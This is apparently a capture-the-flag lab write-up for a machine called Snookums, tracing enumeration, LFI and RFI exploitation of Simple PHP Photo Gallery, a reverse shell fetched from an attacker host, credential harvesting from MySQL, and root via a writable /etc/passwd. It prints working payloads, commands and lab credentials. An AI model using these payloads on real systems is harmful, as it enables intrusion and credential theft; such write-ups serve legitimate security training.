Snookums
Privilege Escalation via writable /etc/passwd
Summary
FTP allowed anonymous login but directory listing failed.
Apache server hosted vulnerable Simple PHP Photo Gallery v0.8.
LFI and RFI exploits led to remote code execution via PHP reverse shell.
MySQL
DBPASS
for root found in webroot PHP config.Credentials for local users recovered via double base64 decoding from MySQL.
Privilege escalation achieved by abusing write access to
/etc/passwd
.
🧵 Let's Unpack
🔎 Enumeration
nmap -p- 192.168.167.58
sudo nmap -A -T4 -sC -sN -oN nmapFull -p 21,22,80,111,139,445,3306,33060 192.168.167.58
FTP:
vsftpd 3.0.2
allowed anonymous login (but no directory listing)HTTP: Apache 2.4.6 hosted Simple PHP Photo Gallery v0.8
MySQL open on
3306
(unauth)Samba, RPCBind, and SSH present
⚡ Initial Foothold
Exploited EDB-7786 on
Simple PHP Photo Gallery
Used LFI to read
/etc/passwd
and RFI to execute PHP shell
# LFI
index.php?preview=box.png%00../../../../../../../../../../../../etc/passwd%00
# RFI
image.php?img=http://<attacker-ip>/reverse_shell.php
Reverse shell connection received, gained shell access
python -c 'import pty; pty.spawn("/bin/bash")'
🔐 Credential Extraction
Found
db_config.php
in/var/www/html
:
define('DBUSER', 'root');
define('DBPASS', 'MalapropDoffUtilize1337');
Logged into MySQL using:
mysql -u root -p
>
show databases;
use <tableName>
show tables;
select * from tables;
# got creds of 3 users
+----------+----------------------------------------------+
| username | password |
+----------+----------------------------------------------+
| josh | VFc5aWFXeHBlbVZJYVhOelUyVmxaSFJwYldVM05EYz0= |
| michael | U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ== |
| serena | VDNabGNtRnNiRU55WlhOMFRHVmhiakF3TUE9PQ== |
+----------+-------------------------------------------
# Decoding password;
SELECT username, CONVERT(FROM_BASE64(password), CHAR) FROM users;
Extracted user credentials from
users
table (double base64 encoded):
SELECT username, CONVERT(FROM_BASE64(FROM_BASE64(password)), CHAR) FROM users;
michael: HockSydneyCertify123
josh: MobilizeHissSeedtime747
serena: OverallCrestLean000
Decoded credentials:
michael :
HockSydneyCertify123
josh :
MobilizeHissSeedtime747
serena :
OverallCrestLean000
SSH login as
michael
successful
🪜 Privilege Escalation
michael
had write access to/etc/passwd
Added root user manually using crafted password hash:
openssl passwd -1 -salt dhawan dhawan1337
# $1$dhawan$XHPP5JzvM1sM17BmwzpJ31
echo 'dhawan:$1$dhawan$XHPP5JzvM1sM17BmwzpJ31:0:0::/root:/bin/bash' >> /etc/passwd
su dhawan
# Password: dhawan1337
Gained root shell 🎉
Last updated